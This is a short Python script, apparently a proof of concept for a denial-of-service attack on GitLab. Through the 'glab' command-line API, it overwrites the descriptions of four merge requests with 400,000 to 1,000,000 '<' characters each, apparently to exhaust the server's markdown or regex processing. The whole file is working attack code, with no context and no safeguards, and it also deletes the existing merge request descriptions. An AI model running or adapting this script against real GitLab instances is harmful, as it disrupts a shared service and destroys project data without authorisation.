import subprocess,json,sys
from pathlib import Path
f=json.loads(Path(sys.argv[1]).read_text())
for iid, size in [(19,400000),(20,400000),(21,400000),(22,1000000)]:
 data=json.dumps({'description':'<'*size})
 subprocess.run(['glab','api',f"projects/{f['project']}/merge_requests/{iid}",'--method','PUT','--input','-'],input=data,text=True,stdout=subprocess.DEVNULL,check=True)
 print(f'MR !{iid}: description set to {size} less-than characters',flush=True)
